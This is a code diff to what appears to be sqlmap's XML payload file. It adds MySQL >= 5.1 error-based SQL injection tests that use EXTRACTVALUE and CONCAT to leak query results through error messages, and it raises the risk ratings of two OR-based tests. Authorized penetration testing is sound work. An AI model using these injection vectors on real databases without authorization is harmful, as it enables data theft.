@@ -1009,6 +1009,26 @@ Formats:
10091009 </details >
10101010 </test >
10111011
1012+ <test >
1013+ <title >MySQL > = 5.1 AND error-based - WHERE or HAVING clause</title >
1014+ <stype >2</stype >
1015+ <level >2</level >
1016+ <risk >0</risk >
1017+ <clause >1</clause >
1018+ <where >1</where >
1019+ <vector >AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector >
1020+ <request >
1021+ <payload >AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload >
1022+ </request >
1023+ <response >
1024+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
1025+ </response >
1026+ <details >
1027+ <dbms >MySQL</dbms >
1028+ <dbms_version >> = 5.1</dbms_version >
1029+ </details >
1030+ </test >
1031+
10121032 <test >
10131033 <title >MySQL > = 4.1 AND error-based - WHERE or HAVING clause</title >
10141034 <stype >2</stype >
@@ -1187,11 +1207,31 @@ Formats:
11871207 </details >
11881208 </test >
11891209
1210+ <test >
1211+ <title >MySQL > = 5.1 OR error-based - WHERE or HAVING clause</title >
1212+ <stype >2</stype >
1213+ <level >3</level >
1214+ <risk >2</risk >
1215+ <clause >1</clause >
1216+ <where >1</where >
1217+ <vector >OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector >
1218+ <request >
1219+ <payload >OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload >
1220+ </request >
1221+ <response >
1222+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
1223+ </response >
1224+ <details >
1225+ <dbms >MySQL</dbms >
1226+ <dbms_version >> = 5.1</dbms_version >
1227+ </details >
1228+ </test >
1229+
11901230 <test >
11911231 <title >MySQL > = 4.1 OR error-based - WHERE or HAVING clause</title >
11921232 <stype >2</stype >
11931233 <level >2</level >
1194- <risk >0 </risk >
1234+ <risk >2 </risk >
11951235 <clause >1</clause >
11961236 <where >2</where >
11971237 <vector >OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</vector >
@@ -1211,7 +1251,7 @@ Formats:
12111251 <title >MySQL OR error-based - WHERE or HAVING clause</title >
12121252 <stype >2</stype >
12131253 <level >3</level >
1214- <risk >0 </risk >
1254+ <risk >2 </risk >
12151255 <clause >1</clause >
12161256 <where >2</where >
12171257 <vector >OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector >
@@ -1392,6 +1432,26 @@ Formats:
13921432 </details >
13931433 </test >
13941434
1435+ <test >
1436+ <title >MySQL > = 5.1 - Parameter replace</title >
1437+ <stype >2</stype >
1438+ <level >3</level >
1439+ <risk >0</risk >
1440+ <clause >1,2,3</clause >
1441+ <where >3</where >
1442+ <vector >(EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))</vector >
1443+ <request >
1444+ <payload >(EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload >
1445+ </request >
1446+ <response >
1447+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
1448+ </response >
1449+ <details >
1450+ <dbms >MySQL</dbms >
1451+ <dbms_version >> = 5.1</dbms_version >
1452+ </details >
1453+ </test >
1454+
13951455 <test >
13961456 <title >PostgreSQL error-based - Parameter replace</title >
13971457 <stype >2</stype >
@@ -1493,6 +1553,26 @@ Formats:
14931553 </details >
14941554 </test >
14951555
1556+ <test >
1557+ <title >MySQL > = 5.1 error-based - GROUP BY and ORDER BY clauses</title >
1558+ <stype >2</stype >
1559+ <level >3</level >
1560+ <risk >0</risk >
1561+ <clause >2,3</clause >
1562+ <where >1</where >
1563+ <vector >,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector >
1564+ <request >
1565+ <payload >,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload >
1566+ </request >
1567+ <response >
1568+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
1569+ </response >
1570+ <details >
1571+ <dbms >MySQL</dbms >
1572+ <dbms_version >> = 5.1</dbms_version >
1573+ </details >
1574+ </test >
1575+
14961576 <test >
14971577 <title >PostgreSQL error-based - GROUP BY and ORDER BY clauses</title >
14981578 <stype >2</stype >
0 commit comments